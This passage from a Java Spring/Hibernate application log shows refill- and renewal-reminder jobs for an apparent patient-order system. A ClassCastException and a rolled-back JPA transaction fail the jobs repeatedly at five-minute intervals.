org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 22:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 22:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 22:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 22:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 22:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 22:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 22:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 22:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 22:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 22:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 22:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 22:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 22:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 22:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 22:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 22:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 22:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 22:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 22:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 22:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 22:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 22:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 22:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 22:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 22:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: 